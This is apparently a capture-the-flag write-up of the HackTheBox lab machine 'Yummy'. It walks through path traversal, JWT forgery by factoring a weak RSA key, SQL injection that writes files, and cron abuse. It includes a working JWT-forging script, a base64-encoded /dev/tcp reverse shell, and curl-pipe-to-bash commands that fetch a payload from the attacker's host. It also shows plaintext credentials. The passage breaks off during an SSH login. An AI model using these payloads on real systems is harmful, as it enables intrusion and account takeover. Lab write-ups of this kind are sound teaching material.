HTB Machine - Yummy
Summary:
Yummy feels more CTF-like compared to recent HTB boxes. Foothold involves a rather complex attack chain combining path traversal, JWT forging, SQL injection and multiple cron job abuses. Once on the box, I’ll exploit Mercurial and abuse sudo rights to get a root shell.
Enumeration:
Nmap:
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ sudo nmap --min-rate 1000 -p- 10.129.231.153 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:01 ACDT Nmap scan report for 10.129.231.153 Host is up (0.28s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 74.29 seconds ┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ sudo nmap -A -p 22,80 10.129.231.153 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:09 ACDT Nmap scan report for 10.129.231.153 Host is up (0.28s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA) |_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519) 80/tcp open http Caddy httpd |_http-server-header: Caddy |_http-title: Did not follow redirect to http://yummy.htb/ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 2.6.32 - 3.5 (94%), Linux 2.6.32 - 3.13 (94%), Linux 5.0 (94%), Linux 5.0 - 5.14 (94%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 276.66 ms 10.10.14.1 2 275.64 ms 10.129.231.153 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.96 seconds
Only web and SSH are open. What’s interesting here is that the server isn’t running Apache or Nginx, but instead something called Caddy. The domain name yummy.htb is also identified, which I’ll add to /etc/hosts.
TCP80 - HTTP:

yummy.htb is a restaurant. A form is shown when clicking “book a table”.

I can submit the form to reserve a table, but looks like I need an account to manage them.

The app allows user registration, so I’ll register an account and log in. At /dashboard, I can see all the bookings I’ve made.

Clicking “save icalendar” results in an .ics file download.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ cat Yummy_reservation_20250218_113329.ics BEGIN:VCALENDAR VERSION:2.0 PRODID:ics.py - http://git.io/lLljaA BEGIN:VEVENT DESCRIPTION:Email: ch3ng@ch3ng.com\nNumber of People: 5\nMessage: testing DTSTART:20250218T000000Z SUMMARY:ch3ng UID:7e399555-c47e-4404-a109-60c5d39a4765@7e39.org END:VEVENT END:VCALENDAR
I see nothing notable in the file, but the download request to /export/Yummy_reservation_<timestamp>.ics caught my attention. Since the exact filename was used, I suspect the backend server directly uses it to grab the file, making path traversal and local file read possible. I intercepted another download request and changed the path to /export/../../../../../../etc/passwd, and it worked.

Note that this only works with direct interception in Burp, the request would fail if using Burp repeater. The reason for this is that the download request requires a one-time use session cookie, which is obtained from a prior GET request to /reminder/<id>.

Speaking of cookies, I’ve also decoded X-AUTH-Token, which is the main cookie used for authentication. Surprisingly, it contains the RSA modulus (n) and exponent (e). While these values are considered “public” in RSA encryption, it’s kind of unusual to see it included in a JWT — something worth revisiting later.

Exploitation:
Path Traversal:
Since it involves multiple requests, I created a Python script to automate the process. It can be downloaded here. The script runs on an infinite loop and prints out the specified files, provided it exists and have read permission.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ python file_read.py 'ch3ng@ch3ng.com' 'ch3ng' [*] Authenticating... [+] Authentication successful. [+] Booking reference found: 21. [*] Full path of file to read: (enter 'exit' to quit) >> /etc/passwd File read successful: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false messagebus:x:101:102::/nonexistent:/usr/sbin/nologin systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin pollinate:x:102:1::/var/cache/pollinate:/bin/false polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin syslog:x:103:104::/nonexistent:/usr/sbin/nologin uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin dev:x:1000:1000:dev:/home/dev:/bin/bash mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin qa:x:1001:1001::/home/qa:/bin/bash _laurel:x:996:987::/var/log/laurel:/bin/false [*] Full path of file to read: (enter 'exit' to quit) >>
It has two console users: dev and qa. However, I cannot read their private keys nor the flag.
[*] Full path of file to read: (enter 'exit' to quit) >> /home/qa/user.txt [-] Failed to read file [*] Full path of file to read: (enter 'exit' to quit) >> /home/dev/user.txt [-] Failed to read file [*] Full path of file to read: (enter 'exit' to quit) >> /home/qa/.ssh/id_rsa [-] Failed to read file [*] Full path of file to read: (enter 'exit' to quit) >> /home/dev/.ssh/id_rsa [-] Failed to read file
The Caddy config file is also readable, but does not contain anything useful.
[*] Full path of file to read: (enter 'exit' to quit) >> /etc/caddy/Caddyfile File read successful: :80 { @ip { header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$ } redir @ip http://yummy.htb{uri} reverse_proxy 127.0.0.1:3000 { header_down -Server } }
Cron Jobs:
/etc/crontab can be read too, and it listed 3 frequent cron jobs, two of which runs every minute.
[*] Full path of file to read: (enter 'exit' to quit) >> /etc/crontab File read successful: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # */1 * * * * www-data /bin/bash /data/scripts/app_backup.sh */15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh * * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
dbmonitor.sh is checking the status of the MySQL service:
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
table_cleanup.sh restores the SQL database used by the web app. It also exposed the DB credentials.
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
I can also read the SQL script, but all it does is insert dummy appointments with no sensitive information. It looks like part of HTB’s cleanup process, so I’m not sure if this is meant to be readable.
www-data’s cron also runs every minute. app_backup.sh is creating a ZIP archive of /opt/app, and saving it in the web folder:
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
The ZIP file is also accessible, but I’ll do the download manually in Burp this time. All the binary characters in it would break my terminal.
Looks like it’s the source code of the web app.
┌──(ch3ng㉿localhost)-[~/machines/yummy/app] └─$ ls -la total 40 drwxrwxr-x 7 chengw chengw 4096 Sep 30 17:46 . drwxr-xr-x 3 chengw chengw 4096 Feb 19 02:43 .. -rw-r--r-- 1 chengw chengw 11979 Sep 25 23:24 app.py drwxr-xr-x 3 chengw chengw 4096 Sep 30 17:46 config drwxr-xr-x 3 chengw chengw 4096 Sep 30 17:46 middleware drwxrwxr-x 2 chengw chengw 4096 Sep 30 17:46 __pycache__ drwxr-xr-x 6 chengw chengw 4096 Sep 30 17:46 static drwxr-xr-x 2 chengw chengw 4096 Sep 30 17:46 templates
Source Code Analysis:
As I’m lazy, I’ll use Snyk for a quick static code scan. It immediately identified 3 medium/high severity issues.
┌──(ch3ng㉿localhost)-[~/machines/yummy/app] └─$ snyk code test . Testing . ... ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag Path: app.py, line 61 Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side. ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag Path: app.py, line 71 Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side. ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute Path: app.py, line 61 Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks. ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute Path: app.py, line 71 Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks. ✗ [Medium] Use of Hardcoded Credentials Path: app.py, line 23 Info: Do not hardcode passwords in code. Found hardcoded password used in a dictionary key. ✗ [High] SQL Injection Path: app.py, line 286 Info: Unsanitized input from an HTTP parameter flows into execute, where it is used in an SQL query. This may result in an SQL Injection vulnerability. ✗ [High] Path Traversal Path: app.py, line 159 Info: Unsanitized input from an HTTP parameter flows into flask.send_file, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to read arbitrary files. ✔ Test completed Organization: chengw625 Test type: Static code analysis Project path: . Summary: 7 Code issues found 2 [High] 1 [Medium] 4 [Low]
The path traversal vulnerability had already been exploited earlier, while the hardcoded credentials discovered were identical to those found in the cron script.
However, the SQL injection vulnerability was found in the /admindashboard endpoint:
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
It is vulnerable because the o parameter is directly used in the SQL query without any input validation/sanitization. Also, it’s used at the very end of the query, making it much easier for injections.
To access this page and exploit, I’ll first need to find a way to get admin rights.
RSA 101:
config/signature.py shows how the RSA key pair is being generated. As shown above, the value of n was attached in the JWT token.
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
RSA is an asymmetric encryption algorithm often referred to as Public Key Cryptography. Typically, the public key encrypts data, which can only be decrypted with the corresponding private key. In the case of JWT, the private key signs the token, and the public key can be used to validate its authenticity.
This page gives a good step-by-step explanation of the algorithm. Essentially the keys are generated with two large prime numbers (p and q), and the public modulus n is the product of the two numbers. The security of RSA fundamentally relies on the assumption that factoring large numbers are extremely difficult and time-consuming, as such p and q must be large enough for RSA to be secure. Nowadays a key size of 1024 bit is already considered weak, modern security standards recommend 2048 bit as the absolute minimum. As seen in the code, the key size of p is extremely small with only 20 bits, making it feasible to factor n, recover the private key and forge JWT tokens.
JWT Token Forge:
I’ve also scripted up this part, reusing some of the app’s source code for key generation. (GitHub link here)
import sys
import time
import sympy
import base64
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from colorama import Fore, Style
def factorize(n, e):
factors = sympy.factorint(n)
p, q = list(factors.keys())
phi_n = (p-1) * (q-1)
d = pow(e, -1, phi_n)
print(Fore.GREEN + f"[+] Coprime pairs recovered!")
print(f"[+] p: {p}")
print(f"[+] q: {q}")
print(Style.RESET_ALL)
return (p, q, d)
def gen_key(p, q, d, n, e):
phi_n = (p-1) * (q-1)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
return (private_key, public_key)
def gen_jwt(data, private_key):
token = jwt.encode(data, private_key, algorithm="RS256")
print(Fore.GREEN + f"[+] Administrative JWT generated:" + Style.RESET_ALL)
print(token)
return token
def main():
if len(sys.argv) != 2:
print(Fore.RED + f"[-] Usage: {sys.argv[0]} <email>")
exit(0)
n = 6702121647705042361800427665...
e = 65537
email = sys.argv[1]
iat = int(time.time())
exp = iat+3600
(p, q, d) = factorize(n, e)
(private_key, public_key) = gen_key(p, q, d, n, e)
data = {
"email": email,
"role": "administrator",
"iat": iat,
"exp": exp,
"jwk": {
"kty": "RSA",
"n": n,
"e": e
}
}
token = gen_jwt(data, private_key)
if __name__ == "__main__":
main()
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ python jwt_forge.py 'ch3ng@ch3ng.com' [+] Coprime pairs recovered! [+] p: 543161 [+] q: 123391069088263744300500729347156568496347151248<..SNIP..> [+] Administrative JWT generated: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImNoM2<..SNIP..>
I’ll add the token to my browser and reload. The app immediately redirects me to /admindashboard.

Foothold:
SQL Injection:
The dashboard simply shows a list of all bookings made, with a search function implemented. As previously identifieid by Snyk, the o parameter is vulnerable to SQL injection.

I’ll let sqlmap do the heavy lifting:
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o' --tables --batch ___ __H__ ___ ___[.]_____ ___ ___ {1.9#stable} |_ -| . [(] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:02:57 /2025-02-22/ [01:02:57] [INFO] resuming back-end DBMS 'mysql' [01:02:57] [INFO] testing connection to the target URL <.SNIP..> Database: information_schema [79 tables] +---------------------------------------+ | ADMINISTRABLE_ROLE_AUTHORIZATIONS | | APPLICABLE_ROLES | | CHARACTER_SETS | | CHECK_CONSTRAINTS | <..SNIP..> | PLUGINS | | PROCESSLIST | | TABLES | | TRIGGERS | +---------------------------------------+ Database: performance_schema [8 tables] +---------------------------------------+ | processlist | | global_status | | global_variables | | persisted_variables | | session_account_connect_attrs | | session_status | | session_variables | | variables_info | +---------------------------------------+ Database: yummy_db [2 tables] +---------------------------------------+ | appointments | | users | +---------------------------------------+ [*] ending @ 01:04:20 /2025-02-22/
yummy_db contains only two tables, with the users table surprisingly empty. I’ve also checked for privileges, and found out that FILE privilege is enabled.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o' --privileges --batch ..SNIP.. [01:11:32] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [01:11:32] [INFO] fetching database users privileges [01:11:33] [INFO] retrieved: ''chef'@'localhost'' [01:11:34] [INFO] retrieved: 'FILE' database management system users privileges: [*] 'chef'@'localhost' [1]: privilege: FILE [*] ending @ 01:11:34 /2025-02-22/
This essentially allows writing to arbitrary files using SELECT "<contents>" INTO OUTFILE "<filepath>", providing the SQL user has write access in the target directory. However, unlike PHP servers, it’s not as easy as dropping a web shell in the web root. Creating a bash script is possible, but I’ll need to find a way to trigger it.
mysql Cron:
I’ll have another look at mysql’s per-minute cron job running /data/scripts/dbmonitor.sh:
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
The wildcard caught my attention. It’s grabbing the latest script in /data/scripts/ that starts with “fixer-v” and executing it.
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
This possibly means arbitrary code execution if I can create file named fixer-v_ in that directory and write into it. However, the command is nested in several if-else statements. The following conditions must be satisfied for that line to run:
systemctl is-active mysqlmust return “active”;/data/scripts/dbstatus.jsonexists; and/data/scripts/dbstatus.jsondoes not contain “database is down”.
Point 1 is almost certainly true, and I can also satisfy points 2 and 3 by creating dbstatus.json via SQL injection.
I’ll first set up an HTTP server hosting this reverse shell script:
#!/bin/bash
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjI0LzgwMDEgMD4mMQ== | base64 -d | bash
Then I’ll create the necessary files on the server with the following two curl commands:
$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&o=ASC;+SELECT+"asdf"+INTO+OUTFILE+"/data/scripts/dbstatus.json";' > /dev/null
$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&o=ASC;+SELECT+"curl+http://10.10.14.24:8000/rev.sh+|+bash;"+INTO+OUTFILE+"/data/scripts/fixer-v_";' > /dev/null
The fixer script and dbstatus.json should be created. After a short while, the nc listener caught a shell as mysql.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 58998 bash: cannot set terminal process group (10955): Inappropriate ioctl for device bash: no job control in this shell mysql@yummy:/var/spool/cron$ id uid=110(mysql) gid=110(mysql) groups=110(mysql)
Escalation from mysql:
www-data Cron:
I’ll once again look at the cron jobs on the box. www-data’s running /data/scripts/app_backup.sh every minute. This was already leveraged once to discover and access the source code backup earlier.
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Notably, /data/scripts/ is also globally writable. While I cannot directly edit app_backup.sh, I can simply rename or delete it and create a reverse shell script with the same name.
mysql@yummy:/data/scripts$ ls -la total 32 drwxrwxrwx 2 root root 4096 Feb 21 16:20 . drwxr-xr-x 3 root root 4096 Sep 30 08:16 .. -rw-r--r-- 1 root root 90 Sep 26 15:31 app_backup.sh -rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh -rw-r----- 1 root root 60 Feb 21 16:20 fixer-v1.0.1.sh -rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql -rw-r--r-- 1 root root 114 Sep 26 15:31 table_cleanup.sh
Here, I’ll simply replace app_backup.sh with the reverse shell payload I used earlier:
mysql@yummy:/data/scripts$ wget http://10.10.14.24:8000/rev.sh --2025-02-21 16:28:52-- http://10.10.14.24:8000/rev.sh Connecting to 10.10.14.24:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 102 [text/x-sh] Saving to: ‘rev.sh’ rev.sh 100%[===================>] 102 --.-KB/s in 0s mysql@yummy:/data/scripts$ mv app_backup.sh app_backup_2.sh mysql@yummy:/data/scripts$ mv rev.sh app_backup.sh
And a www-data shell is soon sent back.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 55688 bash: cannot set terminal process group (11652): Inappropriate ioctl for device bash: no job control in this shell www-data@yummy:/root$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Interestingly, I landed in /root, but cannot list its directory contents nor read any files.
www-data@yummy:/root$ ls -la ls: cannot open directory '.': Permission denied
Escalation from www-data:
Mercurial Version Control:
There’s another web folder in /var/www/ called app-qatesting. I’ll check the files again to see if there are any new config files or creds, but didn’t find any. The RSA and SQL vulnerabilities also seems to be patched in this version.
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**1023, 2**1024) # this q number is too small
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
Also, there’s a strange hidden folder .hg/:
www-data@yummy:~/app-qatesting$ ls -la total 40 drwxrwx--- 7 www-data qa 4096 May 28 2024 . drwxr-xr-x 3 www-data www-data 4096 Feb 21 16:34 .. -rw-rw-r-- 1 qa qa 10852 May 28 2024 app.py drwxr-xr-x 3 qa qa 4096 May 28 2024 config drwxrwxr-x 6 qa qa 4096 May 28 2024 .hg drwxr-xr-x 3 qa qa 4096 May 28 2024 middleware drwxr-xr-x 6 qa qa 4096 May 28 2024 static drwxr-xr-x 2 qa qa 4096 May 28 2024 templates
Looks like it contains some backups of old versions.
www-data@yummy:~/app-qatesting$ ls -la .hg total 64 drwxrwxr-x 6 qa qa 4096 May 28 2024 . drwxrwx--- 7 www-data qa 4096 May 28 2024 .. -rw-rw-r-- 1 qa qa 57 May 28 2024 00changelog.i -rw-rw-r-- 1 qa qa 0 May 28 2024 bookmarks -rw-rw-r-- 1 qa qa 8 May 28 2024 branch drwxrwxr-x 2 qa qa 4096 May 28 2024 cache -rw-rw-r-- 1 qa qa 7102 May 28 2024 dirstate -rw-rw-r-- 1 qa qa 34 May 28 2024 last-message.txt -rw-rw-r-- 1 qa qa 11 May 28 2024 requires drwxrwxr-x 4 qa qa 4096 May 28 2024 store drwxrwxr-x 2 qa qa 4096 May 28 2024 strip-backup -rw-rw-r-- 1 qa qa 8 May 28 2024 undo.backup.branch.bck -rw-rw-r-- 1 qa qa 7102 May 28 2024 undo.backup.dirstate.bck -rw-rw-r-- 1 qa qa 9 May 28 2024 undo.desc drwxrwxr-x 2 qa qa 4096 May 28 2024 wcache
After Googling, I learned that .hg/ is used by Mercurial, a version control tool similar to Git. Looking at Mercurial’s command cheatsheet, it seems like they have identical functionalities too.
Similar to git log -v, I can show old commits with hg log -l 10. All except “removed comments” are related to the web app patching.
www-data@yummy:~/app-qatesting$ hg log -l 10 WARNING: terminal is not fully functional Press RETURN to continue changeset: 9:f3787cac6111 tag: tip user: qa date: Tue May 28 10:37:16 2024 -0400 summary: attempt at patching path traversal changeset: 8:0bbf8464d2d2 user: qa date: Tue May 28 10:34:38 2024 -0400 summary: removed comments changeset: 7:2ec0ee295b83 user: qa date: Tue May 28 10:32:50 2024 -0400 summary: patched SQL injection vuln changeset: 6:f87bdc6c94a8 user: qa date: Tue May 28 10:27:32 2024 -0400 summary: patched signature vuln changeset: 5:6c59496d5251 user: dev
I can also show the exact changes of the “removed comments” commit with hg diff --change <id>:
www-data@yummy:~/app-qatesting$ hg diff --change 8:0bbf8464d2d2 WARNING: terminal is not fully functional Press RETURN to continue diff -r 2ec0ee295b83 -r 0bbf8464d2d2 app.py --- a/app.py Tue May 28 10:32:50 2024 -0400 +++ b/app.py Tue May 28 10:34:38 2024 -0400 @@ -19,8 +19,8 @@ db_config = { 'host': '127.0.0.1', - 'user': 'chef', - 'password': '3wDo7gSRZIwIHRxZ!', + 'user': 'qa', + 'password': 'jPAd!XQCtn8Oc@2B', 'database': 'yummy_db', 'cursorclass': pymysql.cursors.DictCursor, 'client_flag': CLIENT.MULTI_STATEMENTS @@ -254,17 +254,13 @@ connection.commit() appointments = cursor.fetchall() - # Assume order_query comes from a request parameter order_query = request.args.get('order', 'ASC').upper() - # Validate the order_query to ensure it is either 'ASC' or 'DESC'
Looks like qa’s credentials were originally used for the database connection. It can also be reused for SSH login.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ ssh qa@yummy.htb Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts. qa@yummy.htb's password: Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Feb 21 04:51:52 PM UTC 2025 System load: 0.01 Processes: 264 Usage of /: 61.2% of 5.56GB Users logged in: 0 Memory usage: 21% IPv4 address for eth0: 10.129.195.30 Swap usage: 0% Expanded Security Maintenance for Applications is not enabled. 10 updates can be applied immediately. 10 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact 